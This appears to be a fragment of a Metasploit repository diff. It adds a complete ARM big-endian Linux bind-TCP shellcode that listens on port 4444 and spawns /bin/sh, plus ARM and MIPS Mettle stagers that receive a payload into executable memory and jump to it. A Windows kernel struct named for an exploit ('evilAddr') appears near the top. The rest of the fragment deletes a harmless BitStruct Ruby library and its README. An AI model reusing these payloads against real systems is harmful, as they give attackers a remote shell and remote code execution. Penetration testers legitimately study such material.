|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES {
|
||||
ULONG NumberOfModules;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct {
|
||||
ULONG pad1[12];
|
||||
DWORD addrPtr;
|
||||
ULONG pad2[14];
|
||||
DWORD evilAddr;
|
||||
} BAD_DEVICE_OBJECT, *PBAD_DEVICE_OBJECT;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
@@
|
||||
@
|
||||
@ Name: single_sock_bind
|
||||
@ Qualities: -
|
||||
@ Authors: Balazs Bucsay <@xoreipeip>
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.
|
||||
@
|
||||
@ Assemble with:
|
||||
@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o
|
||||
@ Link with:
|
||||
@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Bind TCP
|
||||
@ meta-description=Listen on a port for a connection and run a second stage
|
||||
@ meta-authors=earthquake
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armbe
|
||||
@ meta-category=singles
|
||||
@ meta-connection-type=bind
|
||||
@ meta-name=bind_tcp
|
||||
@@
|
||||
|
||||
|
||||
.section .text
|
||||
.global _start
|
||||
|
||||
_start:
|
||||
.code 32
|
||||
|
||||
@ Thumb-Mode on
|
||||
add r6, pc, #1
|
||||
bx r6
|
||||
.code 16
|
||||
|
||||
@ _socket(2,1,0)
|
||||
sub r2, r2, r2
|
||||
add r1, r2, #1
|
||||
add r0, r2, #2
|
||||
lsl r7, r1, #8
|
||||
add r7, r7, #0x19
|
||||
svc 1
|
||||
mov r6, r0
|
||||
|
||||
@ 1 uint8_t sin_len
|
||||
@ 1 sa_family_t sin_family
|
||||
@ 2 in_port_t sin_port
|
||||
@ 4 struct in_addr sin_addr
|
||||
@ 8 char sin_zero [8]
|
||||
@ 00 02 5C11 00000000 00000000 00000000
|
||||
@ 5c11 => 4444
|
||||
@ _bind()
|
||||
mov r2, #2
|
||||
lsl r2, r2, #8
|
||||
add r2, r2, #0x11
|
||||
lsl r2, r2, #8
|
||||
add r2, r2, #0x5C
|
||||
sub r3, r3, r3
|
||||
sub r4, r4, r4
|
||||
sub r5, r5, r5
|
||||
mov r1, sp
|
||||
stm r1!, {r2-r5}
|
||||
sub r1, #0x10
|
||||
mov r2, #16
|
||||
add r7, r7, #1
|
||||
svc 1
|
||||
|
||||
@ _listen()
|
||||
mov r0, r6
|
||||
sub r1, r1, r1
|
||||
add r7, r7, #2
|
||||
svc 1
|
||||
|
||||
@ _accept()
|
||||
mov r0, r6
|
||||
sub r2, r2, r2
|
||||
add r7, r7, #1
|
||||
svc 1
|
||||
mov r6, r0
|
||||
|
||||
@ _dup2()
|
||||
sub r1, r1, r1
|
||||
mov r7, #63
|
||||
svc 1
|
||||
|
||||
mov r0, r6
|
||||
add r1, r1, #1
|
||||
svc 1
|
||||
|
||||
mov r0, r6
|
||||
add r1, r1, #1
|
||||
svc 1
|
||||
|
||||
_execve()
|
||||
sub r2, r2, r2
|
||||
mov r0, pc
|
||||
add r0, #18
|
||||
@ next intstruction terminates the string beneath the code "//bin/sh"
|
||||
@ in case you want to say goodbye to the null character
|
||||
@ str r2, [r0, #8]
|
||||
str r2, [sp, #8]
|
||||
str r0, [sp, #4]
|
||||
add r1, sp, #4
|
||||
mov r7, #11
|
||||
svc 1
|
||||
|
||||
@ _exit()
|
||||
sub r4, r4, r4
|
||||
mov r0, r4
|
||||
mov r7, #1
|
||||
svc 1
|
||||
.ascii "//bin/sh\0"
|
||||
@.ascii "//bin/sh"
|
||||
@@ -0,0 +1,51 @@
|
||||
.global _start
|
||||
|
||||
@ Required symbols:
|
||||
@ SIZE: size of the final payload
|
||||
@ ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
_start:
|
||||
@ mmap the space for the mettle image
|
||||
mov r0, #0 @ address doesn't matter
|
||||
ldr r1, =SIZE @ more than 12-bits
|
||||
mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS
|
||||
mov r4, #0 @ no file
|
||||
mov r5, #0 @ no offset
|
||||
|
||||
mov r7, #192 @ syscall: mmap2
|
||||
svc #0
|
||||
|
||||
@ recv the process image
|
||||
@ r12 contains our socket from the reverse stager
|
||||
mov r2, r1 @ recv the whole thing (I, too, like to live dangerously)
|
||||
mov r1, r0 @ move the mmap to the recv buffer
|
||||
mov r0, r12 @ set the fd
|
||||
mov r3, #0x100 @ MSG_WAITALL
|
||||
|
||||
ldr r7, =#291 @ syscall: recv
|
||||
svc #0
|
||||
|
||||
@ set up the initial stack
|
||||
@ The final stack must be aligned, so we align and then make room backwards
|
||||
@ by _adding_ to sp.
|
||||
and sp, #-16 @ Align
|
||||
add sp, #36 + 4 @ Add room for initial stack and prog name
|
||||
mov r4, #109 @ "m" (0,0,0,109)
|
||||
push {r4} @ On the stack
|
||||
mov r4,#2 @ ARGC
|
||||
mov r5,sp @ ARGV[0] char *prog_name
|
||||
mov r6,r12 @ ARGV[1] int socket fd
|
||||
mov r7,#0 @ (NULL)
|
||||
mov r8,#0 @ (NULL) (Ending ENV)
|
||||
mov r9,#7 @ AT_BASE
|
||||
mov r10,r1 @ mmap'd address
|
||||
mov r11,#0 @ AT_NULL
|
||||
mov r12,#0
|
||||
push {r4-r12}
|
||||
|
||||
@ hack the planet
|
||||
ldr r0, =ENTRY
|
||||
add r0, r1
|
||||
bx r0
|
||||
@@ -0,0 +1,59 @@
|
||||
.global __start
|
||||
|
||||
# Required symbols:
|
||||
# SIZE: size of the final payload
|
||||
# ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
___start:
|
||||
# mmap the space for the mettle image
|
||||
move $a0, $zero # address doesn't matter
|
||||
li $a1, SIZE # more than 16-bits
|
||||
li $a2, 7 # PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
li $a3, 0x802 # MAP_PRIVATE | MAP_ANONYMOUS
|
||||
|
||||
sw $0, 16($sp) # Dumb O32 ABI
|
||||
sw $0, 20($sp)
|
||||
|
||||
li $v0, 4090 # syscall: mmap
|
||||
syscall
|
||||
|
||||
# recv the process image
|
||||
# s2 contains our socket from the reverse stager
|
||||
move $a2, $a1 # recv the whole thing (I, too, like to live dangerously)
|
||||
move $a1, $v0 # move the mmap to the recv buffer
|
||||
move $a0, $s2 # set the fd
|
||||
li $a3, 0x100 # MSG_WAITALL
|
||||
|
||||
li $v0, 4175 # syscall: recv
|
||||
syscall
|
||||
|
||||
# set up the initial stack
|
||||
# The final stack must be aligned, so we align and then make room backwards
|
||||
# by _adding_ to sp.
|
||||
and $sp, $sp, -8 # Align
|
||||
li $t4, 0x6d00006d # BE/LE anagram of "m" (109, 0)
|
||||
sw $t4, 44($sp) # On the stack
|
||||
|
||||
# Initial program stack:
|
||||
li $t5, 2 # ARGC
|
||||
sw $t5, 0($sp)
|
||||
addi $t6, $sp, 44 # ARGV[0] char *prog_name
|
||||
sw $t6, 4($sp)
|
||||
sw $s2, 8($sp) # ARGV[1] int socket fd
|
||||
sw $0, 12($sp) # (NULL)
|
||||
sw $0, 16($sp) # (NULL) (Ending ENV)
|
||||
li $t7, 7 # AT_BASE
|
||||
sw $t7, 20($sp)
|
||||
sw $a1, 24($sp) # mmap'd address
|
||||
li $t8, 6 # AT_PAGESZ
|
||||
sw $t8, 28($sp)
|
||||
li $t9, 0x1000 # 4k
|
||||
sw $t9, 32($sp)
|
||||
sw $0, 36($sp) # AT_NULL
|
||||
sw $0, 40($sp)
|
||||
|
||||
# hack the planet
|
||||
li $s0, ENTRY
|
||||
add $s0, $s0, $a1
|
||||
jr $s0
|
||||
@@ -1,15 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# A Convenience to load all field classes and yaml handling.
|
||||
# XXX: Pretty certian this monkeypatch isn't required in Metasploit.
|
||||
|
||||
if "a"[0].kind_of? Fixnum
|
||||
unless Fixnum.methods.include? :ord
|
||||
class Fixnum
|
||||
def ord; self; end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'bit-struct/bit-struct'
|
||||
require 'bit-struct/fields'
|
||||
require 'bit-struct/yaml'
|
||||
@@ -1,187 +0,0 @@
|
||||
= BitStruct
|
||||
|
||||
Class for packed binary data stored in ruby Strings. BitStruct accessors, generated from user declared fields, use pack/unpack to treat substrings as fields with a specified portable format.
|
||||
|
||||
Field types include:
|
||||
|
||||
* signed and unsigned integer (1..16 bits, or 24, 32, 40, 48... bits)
|
||||
|
||||
* numeric fields (signed, unsigned, float) can be designated as any of the following endians: little, big, native, network (default)
|
||||
|
||||
* fixed point, with arbitrary scale factor
|
||||
|
||||
* fixed length character array
|
||||
|
||||
* null-terminated character array for printable text
|
||||
|
||||
* octets (hex and decimal representation options; useful for IP and MAC addrs)
|
||||
|
||||
* float
|
||||
|
||||
* nested BitStruct
|
||||
|
||||
* vectors of embedded BitStructs
|
||||
|
||||
* free-form "rest" field (e.g., for the variable-size payload of a packet)
|
||||
|
||||
Field options (specifiable as :foo => val or "foo" => val) include:
|
||||
|
||||
* *display_name*: used in BitStruct#inspect_detailed and BitStruct#describe outputs.
|
||||
|
||||
* *default*: default field value
|
||||
|
||||
* *format*: alternate format string for inspect
|
||||
|
||||
* *endian*: for byte ordering of numeric fields (unsigned, signed, float): little, big, native, network (default)
|
||||
|
||||
* *fixed*: float stored as fixed-point integer, with specified scale factor
|
||||
|
||||
|
||||
== Installation
|
||||
|
||||
For .gem:
|
||||
|
||||
gem install bit-struct
|
||||
|
||||
For .tgz, unpack and then:
|
||||
|
||||
ruby install.rb config
|
||||
ruby install.rb setup
|
||||
ruby install.rb install
|
||||
|
||||
== Uses
|
||||
|
||||
BitStruct is useful for defining packets used in network protocols. This is especially useful for raw IP--see examples/ping-recv.rb. All multibyte numeric fields are stored by default in network order.
|
||||
|
||||
BitStruct is most efficient when your data is primarily treated as a binary string, and only secondarily treated as a data structure. (For instance, you are routing packets from one socket to another, possibly looking at one or two fields as it passes through or munging some headers.) If accessor operations are a bottleneck, a better approach is to define a class that wraps an array and uses pack/unpack when the object needs to behave like a binary string.
|
||||
|
||||
== Features
|
||||
|
||||
* Extensible with user-defined field classes.
|
||||
|
||||
* Fields are fully introspectable and can be defined programmatically.
|
||||
|
||||
* BitStruct.describe prints out documentation of all the fields of a BitStruct subclass, based on declarations. This is useful for communicating with developers who are not using ruby, but need to talk the same protocols. See Example, below.
|
||||
|
||||
* Fields are inherited by subclasses. (The free-form "rest" field does not inherit, because it usually represents a payload whose structure is defined in subclasses using the fixed-size fields.)
|
||||
|
||||
* BitStruct#inspect and BitStruct#inspect_detailed can be used for prettified display of contents. (More generally, BitStruct#inspect takes some options that control formatting and detail level.) See Example, below.
|
||||
|
||||
* BitStruct inherits from String, so all the usual methods are available, and string-sharing (copy-on-write) is in effect.
|
||||
|
||||
* Easy access to a "prototype" instance of each BitStruct subclass, from which all instances of that subclass are initialized as a copy (in the absence of other initialization parameters, such as a hash, a string, or a block). See BitStruct.initial_value, and BitStruct#initialize. See Example, below.
|
||||
|
||||
* Easy conversion to and from hashes, using BitStruct#to_h and BitStruct.new.
|
||||
|
||||
* BitStructs can persist using Marshal (a BitStruct is after all just a string) or using YAML (with human readable representation of the fields).
|
||||
|
||||
* Includes tests, examples, and rdoc API documentation.
|
||||
|
||||
== Limitations
|
||||
|
||||
* Fields that are not aligned on byte boundaries may cross no more than two bytes boundaries. (See examples/byte-bdy.rb.)
|
||||
|
||||
* No variable length fields (except the #rest field).
|
||||
|
||||
== Future plans
|
||||
|
||||
* Currently, the library is written in pure ruby. The implementation uses Array#pack and String#unpack calls, as well as shifting and masking in pure ruby. Future versions will optionally generate a customized C extension for better efficiency.
|
||||
|
||||
* A debug mode in which a class identifier is prepended to every BitStruct, so that protocol errors can be detected. (This feature has been implemented in an app that uses BitStruct, but needs to be refactored into the BitStruct library itself.)
|
||||
|
||||
* Remove field size and alignment limitations.
|
||||
|
||||
== Example
|
||||
|
||||
An IP packet can be defined and used like this:
|
||||
|
||||
require 'bit-struct'
|
||||
|
||||
class IP < BitStruct
|
||||
unsigned :ip_v, 4, "Version"
|
||||
unsigned :ip_hl, 4, "Header length"
|
||||
unsigned :ip_tos, 8, "TOS"
|
||||
unsigned :ip_len, 16, "Length"
|
||||
unsigned :ip_id, 16, "ID"
|
||||
unsigned :ip_off, 16, "Frag offset"
|
||||
unsigned :ip_ttl, 8, "TTL"
|
||||
unsigned :ip_p, 8, "Protocol"
|
||||
unsigned :ip_sum, 16, "Checksum"
|
||||
octets :ip_src, 32, "Source addr"
|
||||
octets :ip_dst, 32, "Dest addr"
|
||||
rest :body, "Body of message"
|
||||
|
||||
note " rest is application defined message body"
|
||||
|
||||
initial_value.ip_v = 4
|
||||
initial_value.ip_hl = 5
|
||||
end
|
||||
|
||||
ip = IP.new
|
||||
ip.ip_tos = 0
|
||||
ip.ip_len = 0
|
||||
ip.ip_id = 0
|
||||
ip.ip_off = 0
|
||||
ip.ip_ttl = 255
|
||||
ip.ip_p = 255
|
||||
ip.ip_sum = 0
|
||||
ip.ip_src = "192.168.1.4"
|
||||
ip.ip_dst = "192.168.1.255"
|
||||
ip.body = "This is the payload text."
|
||||
ip.ip_len = ip.length
|
||||
|
||||
puts ip.inspect
|
||||
puts "-"*50
|
||||
puts ip.inspect_detailed
|
||||
puts "-"*50
|
||||
puts IP.describe
|
||||
|
||||
(Note that you can also construct an IP packet by passing a string to new, or by passing a hash of <tt>field,value</tt> pairs, or by providing a block that is yielded the new BitStruct.)
|
||||
|
||||
The output of this fragment is:
|
||||
|
||||
#<IP ip_v=4, ip_hl=5, ip_tos=0, ip_len=45, ip_id=0, ip_off=0, ip_ttl=255, ip_p=255, ip_sum=0, ip_src="192.168.1.4", ip_dst="192.168.1.255", body="This is the payload text.">
|
||||
--------------------------------------------------
|
||||
IP:
|
||||
Version = 4
|
||||
Header length = 5
|
||||
TOS = 0
|
||||
Length = 45
|
||||
ID = 0
|
||||
Frag offset = 0
|
||||
TTL = 255
|
||||
Protocol = 255
|
||||
Checksum = 0
|
||||
Source addr = "192.168.1.4"
|
||||
Dest addr = "192.168.1.255"
|
||||
Body of message = "This is the payload text."
|
||||
--------------------------------------------------
|
||||
|
||||
Description of IP Packet:
|
||||
byte: type name [size] description
|
||||
----------------------------------------------------------------------
|
||||
@0: unsigned ip_v [ 4b] Version
|
||||
@0: unsigned ip_hl [ 4b] Header length
|
||||
@1: unsigned ip_tos [ 8b] TOS
|
||||
@2: unsigned ip_len [ 16b] Length
|
||||
@4: unsigned ip_id [ 16b] ID
|
||||
@6: unsigned ip_off [ 16b] Frag offset
|
||||
@8: unsigned ip_ttl [ 8b] TTL
|
||||
@9: unsigned ip_p [ 8b] Protocol
|
||||
@10: unsigned ip_sum [ 16b] Checksum
|
||||
@12: octets ip_src [ 32b] Source addr
|
||||
@16: octets ip_dst [ 32b] Dest addr
|
||||
rest is application defined message body
|
||||
|
||||
== Web site
|
||||
|
||||
The current version of this software can be found at http://redshift.sourceforge.net/bit-struct.
|
||||
|
||||
== License
|
||||
|
||||
This software is distributed under the Ruby license. See http://www.ruby-lang.org.
|
||||
|
||||
== Author
|
||||
|
||||
Joel VanderWerf, mailto:vjoel@users.sourceforge.net
|
||||
Copyright (c) 2005-2009, Joel VanderWerf.
|
||||
@@ -1,575 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# Class for packed binary data, with defined bitfields and accessors for them.
|
||||
# See {intro.txt}[link:../doc/files/intro_txt.html] for an overview.
|
||||
#
|
||||
# Data after the end of the defined fields is accessible using the +rest+
|
||||
# declaration. See examples/ip.rb. Nested fields can be declared using +nest+.
|
||||
# See examples/nest.rb.
|
||||
#
|
||||
# Note that all string methods are still available: length, grep, etc.
|
||||
# The String#replace method is useful.
|
||||
#
|
||||
class BitStruct < String
|
||||
VERSION = "0.13.6"
|
||||
|
||||
class Field
|
||||
# Offset of field in bits.
|
||||
attr_reader :offset
|
||||
|
||||
# Length of field in bits.
|
||||
attr_reader :length
|
||||
alias size length
|
||||
|
||||
# Name of field (used for its accessors).
|
||||
attr_reader :name
|
||||
|
||||
# Options, such as :default (varies for each field subclass).
|
||||
# In general, options can be provided as strings or as symbols.
|
||||
attr_reader :options
|
||||
|
||||
# Display name of field (used for printing).
|
||||
attr_reader :display_name
|
||||
|
||||
# Default value.
|
||||
attr_reader :default
|
||||
|
||||
# Format for printed value of field.
|
||||
attr_reader :format
|
||||
|
||||
# Subclasses can override this to define a default for all fields of this
|
||||
# class, not just the one currently being added to a BitStruct class, a
|
||||
# "default default" if you will. The global default, if #default returns
|
||||
# nil, is to fill the field with zero. Most field classes just let this
|
||||
# default stand. The default can be overridden per-field when a BitStruct
|
||||
# class is defined.
|
||||
def self.default; nil; end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= name[/\w+$/]
|
||||
end
|
||||
|
||||
# Used in describe. Can be overridden per-subclass, as in NestedField.
|
||||
def class_name
|
||||
self.class.class_name
|
||||
end
|
||||
|
||||
# Yield the description of this field, as an array of 5 strings: byte
|
||||
# offset, type, name, size, and description. The opts hash may have:
|
||||
#
|
||||
# :expand :: if the value is true, expand complex fields
|
||||
#
|
||||
# (Subclass implementations may yield more than once for complex fields.)
|
||||
#
|
||||
def describe opts
|
||||
bits = size
|
||||
if bits > 32 and bits % 8 == 0
|
||||
len_str = "%dB" % (bits/8)
|
||||
else
|
||||
len_str = "%db" % bits
|
||||
end
|
||||
|
||||
byte_offset = offset / 8 + (opts[:byte_offset] || 0)
|
||||
|
||||
yield ["@%d" % byte_offset, class_name, name, len_str, display_name]
|
||||
end
|
||||
|
||||
# Options are _display_name_, _default_, and _format_ (subclasses of Field
|
||||
# may add other options).
|
||||
def initialize(offset, length, name, opts = {})
|
||||
@offset, @length, @name, @options =
|
||||
offset, length, name, opts
|
||||
|
||||
@display_name = opts[:display_name] || opts["display_name"]
|
||||
@default = opts[:default] || opts["default"] || self.class.default
|
||||
@format = opts[:format] || opts["format"]
|
||||
end
|
||||
|
||||
# Inspect the value of this field in the specified _obj_.
|
||||
def inspect_in_object(obj, opts)
|
||||
val = obj.send(name)
|
||||
str =
|
||||
begin
|
||||
val.inspect(opts)
|
||||
rescue ArgumentError # assume: "wrong number of arguments (1 for 0)"
|
||||
val.inspect
|
||||
end
|
||||
(f=@format) ? (f % str) : str
|
||||
end
|
||||
|
||||
# Normally, all fields show up in inspect, but some, such as padding,
|
||||
# should not.
|
||||
def inspectable?; true; end
|
||||
end
|
||||
|
||||
NULL_FIELD = Field.new(0, 0, :null, :display_name => "null field")
|
||||
|
||||
# Raised when a field is added after an instance has been created. Fields
|
||||
# cannot be added after this point.
|
||||
class ClosedClassError < StandardError; end
|
||||
|
||||
# Raised if the chosen field name is not allowed, either because another
|
||||
# field by that name exists, or because a method by that name exists.
|
||||
class FieldNameError < StandardError; end
|
||||
|
||||
@default_options = {}
|
||||
|
||||
@initial_value = nil
|
||||
@closed = nil
|
||||
@rest_field = nil
|
||||
@note = nil
|
||||
|
||||
class << self
|
||||
def inherited cl
|
||||
cl.instance_eval do
|
||||
@initial_value = nil
|
||||
@closed = nil
|
||||
@rest_field = nil
|
||||
@note = nil
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: field access methods
|
||||
#
|
||||
# For introspection and metaprogramming.
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Return the list of fields for this class.
|
||||
def fields
|
||||
@fields ||= self == BitStruct ? [] : superclass.fields.dup
|
||||
end
|
||||
|
||||
# Return the list of fields defined by this class, not inherited
|
||||
# from the superclass.
|
||||
def own_fields
|
||||
@own_fields ||= []
|
||||
end
|
||||
|
||||
# Add a field to the BitStruct (usually, this is only used internally).
|
||||
def add_field(name, length, opts = {})
|
||||
round_byte_length ## just to make sure this has been calculated
|
||||
## before adding anything
|
||||
|
||||
name = name.to_sym
|
||||
|
||||
if @closed
|
||||
raise ClosedClassError, "Cannot add field #{name}: " +
|
||||
"The definition of the #{self.inspect} BitStruct class is closed."
|
||||
end
|
||||
|
||||
if fields.find {|f|f.name == name}
|
||||
raise FieldNameError, "Field #{name} is already defined as a field."
|
||||
end
|
||||
|
||||
if instance_methods(true).find {|m| m == name}
|
||||
if opts[:allow_method_conflict] || opts["allow_method_conflict"]
|
||||
warn "Field #{name} is already defined as a method."
|
||||
else
|
||||
raise FieldNameError,"Field #{name} is already defined as a method."
|
||||
end
|
||||
end
|
||||
|
||||
field_class = opts[:field_class]
|
||||
|
||||
prev = fields[-1] || NULL_FIELD
|
||||
offset = prev.offset + prev.length
|
||||
field = field_class.new(offset, length, name, opts)
|
||||
field.add_accessors_to(self)
|
||||
fields << field
|
||||
own_fields << field
|
||||
@bit_length += field.length
|
||||
@round_byte_length = (bit_length/8.0).ceil
|
||||
|
||||
if @initial_value
|
||||
diff = @round_byte_length - @initial_value.length
|
||||
if diff > 0
|
||||
@initial_value << "\0" * diff
|
||||
end
|
||||
end
|
||||
|
||||
field
|
||||
end
|
||||
|
||||
def parse_options(ary, default_name, default_field_class) # :nodoc:
|
||||
opts = ary.grep(Hash).first || {}
|
||||
opts = default_options.merge(opts)
|
||||
|
||||
opts[:display_name] = ary.grep(String).first || default_name
|
||||
opts[:field_class] = ary.grep(Class).first || default_field_class
|
||||
|
||||
opts
|
||||
end
|
||||
|
||||
# Get or set the hash of default options for the class, which apply to all
|
||||
# fields. Changes take effect immediately, so can be used alternatingly with
|
||||
# blocks of field declarations. If +h+ is provided, update the default
|
||||
# options with that hash. Default options are inherited.
|
||||
#
|
||||
# This is especially useful with the <tt>:endian => val</tt> option.
|
||||
def default_options h = nil
|
||||
@default_options ||= superclass.default_options.dup
|
||||
if h
|
||||
@default_options.merge! h
|
||||
end
|
||||
@default_options
|
||||
end
|
||||
|
||||
# Length, in bits, of this object.
|
||||
def bit_length
|
||||
@bit_length ||= fields.inject(0) {|a, f| a + f.length}
|
||||
end
|
||||
|
||||
# Length, in bytes (rounded up), of this object.
|
||||
def round_byte_length
|
||||
@round_byte_length ||= (bit_length/8.0).ceil
|
||||
end
|
||||
|
||||
def closed! # :nodoc:
|
||||
@closed = true
|
||||
end
|
||||
|
||||
def field_by_name name
|
||||
@field_by_name ||= {}
|
||||
field = @field_by_name[name]
|
||||
unless field
|
||||
field = fields.find {|f| f.name == name}
|
||||
@field_by_name[name] = field if field
|
||||
end
|
||||
field
|
||||
end
|
||||
end
|
||||
|
||||
# Return the list of fields for this class.
|
||||
def fields
|
||||
self.class.fields
|
||||
end
|
||||
|
||||
# Return the rest field for this class.
|
||||
def rest_field
|
||||
self.class.rest_field
|
||||
end
|
||||
|
||||
# Return the field with the given name.
|
||||
def field_by_name name
|
||||
self.class.field_by_name name
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: metadata inspection methods
|
||||
#
|
||||
# Methods to textually describe the format of a BitStruct subclass.
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
class << self
|
||||
# Default format for describe. Fields are byte, type, name, size,
|
||||
# and description.
|
||||
DESCRIBE_FORMAT = "%8s: %-12s %-14s[%4s] %s"
|
||||
|
||||
# Can be overridden to use a different format.
|
||||
def describe_format
|
||||
DESCRIBE_FORMAT
|
||||
end
|
||||
|
||||
# Textually describe the fields of this class of BitStructs.
|
||||
# Returns a printable table (array of line strings), based on +fmt+,
|
||||
# which defaults to #describe_format, which defaults to +DESCRIBE_FORMAT+.
|
||||
def describe(fmt = nil, opts = {})
|
||||
if fmt.kind_of? Hash
|
||||
opts = fmt; fmt = nil
|
||||
end
|
||||
|
||||
if block_given?
|
||||
fields.each do |field|
|
||||
field.describe(opts) do |desc|
|
||||
yield desc
|
||||
end
|
||||
end
|
||||
nil
|
||||
|
||||
else
|
||||
fmt ||= describe_format
|
||||
|
||||
result = []
|
||||
|
||||
unless opts[:omit_header]
|
||||
result << fmt % ["byte", "type", "name", "size", "description"]
|
||||
result << "-"*70
|
||||
end
|
||||
|
||||
fields.each do |field|
|
||||
field.describe(opts) do |desc|
|
||||
result << fmt % desc
|
||||
end
|
||||
end
|
||||
|
||||
unless opts[:omit_footer]
|
||||
result << @note if @note
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
|
||||
# Subclasses can use this to append a string (or several) to the #describe
|
||||
# output. Notes are not cumulative with inheritance. When used with no
|
||||
# arguments simply returns the note string
|
||||
def note(*str)
|
||||
@note = str unless str.empty?
|
||||
@note
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: initialization and conversion methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Initialize the string with the given string or bitstruct, or with a hash of
|
||||
# field=>value pairs, or with the defaults for the BitStruct subclass, or
|
||||
# with an IO or other object with a #read method. Fields can be strings or
|
||||
# symbols. Finally, if a block is given, yield the instance for modification
|
||||
# using accessors.
|
||||
def initialize(value = nil) # :yields: instance
|
||||
self << self.class.initial_value
|
||||
|
||||
case value
|
||||
when Hash
|
||||
value.each do |k, v|
|
||||
send "#{k}=", v
|
||||
end
|
||||
|
||||
when nil
|
||||
|
||||
else
|
||||
if value.respond_to?(:read)
|
||||
value = value.read(self.class.round_byte_length)
|
||||
end
|
||||
|
||||
self[0, value.length] = value
|
||||
end
|
||||
|
||||
self.class.closed!
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
DEFAULT_TO_H_OPTS = {
|
||||
:convert_keys => :to_sym,
|
||||
:include_rest => true
|
||||
}
|
||||
|
||||
# Returns a hash of {name=>value,...} for each field. By default, include
|
||||
# the rest field.
|
||||
# Keys are symbols derived from field names using +to_sym+, unless
|
||||
# <tt>opts[:convert_keys]<\tt> is set to some other method name.
|
||||
def to_h(opts = DEFAULT_TO_H_OPTS)
|
||||
converter = opts[:convert_keys] || :to_sym
|
||||
|
||||
fields_for_to_h = fields
|
||||
if opts[:include_rest] and (rest_field = self.class.rest_field)
|
||||
fields_for_to_h += [rest_field]
|
||||
end
|
||||
|
||||
fields_for_to_h.inject({}) do |h,f|
|
||||
h[f.name.send(converter)] = send(f.name)
|
||||
h
|
||||
end
|
||||
end
|
||||
|
||||
# Returns an array of values of the fields of the BitStruct. By default,
|
||||
# include the rest field.
|
||||
def to_a(include_rest = true)
|
||||
ary =
|
||||
fields.map do |f|
|
||||
send(f.name)
|
||||
end
|
||||
|
||||
if include_rest and (rest_field = self.class.rest_field)
|
||||
ary << send(rest_field.name)
|
||||
end
|
||||
ary
|
||||
end
|
||||
|
||||
## temporary hack for 1.9
|
||||
if "a"[0].kind_of? String
|
||||
def [](*args)
|
||||
if args.size == 1 and args[0].kind_of?(Fixnum)
|
||||
super.ord
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def []=(*args)
|
||||
if args.size == 2 and (i=args[0]).kind_of?(Fixnum)
|
||||
super(i, args[1].chr)
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class << self
|
||||
# The unique "prototype" object from which new instances are copied.
|
||||
# The fields of this instance can be modified in the class definition
|
||||
# to set default values for the fields in that class. (Otherwise, defaults
|
||||
# defined by the fields themselves are used.) A copy of this object is
|
||||
# inherited in subclasses, which they may override using defaults and
|
||||
# by writing to the initial_value object itself.
|
||||
#
|
||||
# If called with a block, yield the initial value object before returning
|
||||
# it. Useful for customization within a class definition.
|
||||
#
|
||||
def initial_value # :yields: the initial value
|
||||
unless @initial_value
|
||||
iv = defined?(superclass.initial_value) ?
|
||||
superclass.initial_value.dup : ""
|
||||
if iv.length < round_byte_length
|
||||
iv << "\0" * (round_byte_length - iv.length)
|
||||
end
|
||||
|
||||
@initial_value = "" # Serves as initval while the real initval is inited
|
||||
@initial_value = new(iv)
|
||||
@closed = false # only creating the first _real_ instance closes.
|
||||
|
||||
fields.each do |field|
|
||||
@initial_value.send("#{field.name}=", field.default) if field.default
|
||||
end
|
||||
end
|
||||
yield @initial_value if block_given?
|
||||
@initial_value
|
||||
end
|
||||
|
||||
# Take +data+ (a string or BitStruct) and parse it into instances of
|
||||
# the +classes+, returning them in an array. The classes can be given
|
||||
# as an array or a separate arguments. (For parsing a string into a _single_
|
||||
# BitStruct instance, just use the #new method with the string as an arg.)
|
||||
def parse(data, *classes)
|
||||
classes.flatten.map do |c|
|
||||
c.new(data.slice!(0...c.round_byte_length))
|
||||
end
|
||||
end
|
||||
|
||||
# Join the given structs (array or multiple args) as a string.
|
||||
# Actually, the inherited String#+ instance method is the same, as is using
|
||||
# Array#join.
|
||||
def join(*structs)
|
||||
structs.flatten.map {|struct| struct.to_s}.join("")
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: inspection methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
DEFAULT_INSPECT_OPTS = {
|
||||
:format => "#<%s %s>",
|
||||
:field_format => "%s=%s",
|
||||
:separator => ", ",
|
||||
:field_name_meth => :name,
|
||||
:include_rest => true,
|
||||
:brackets => ["[", "]"],
|
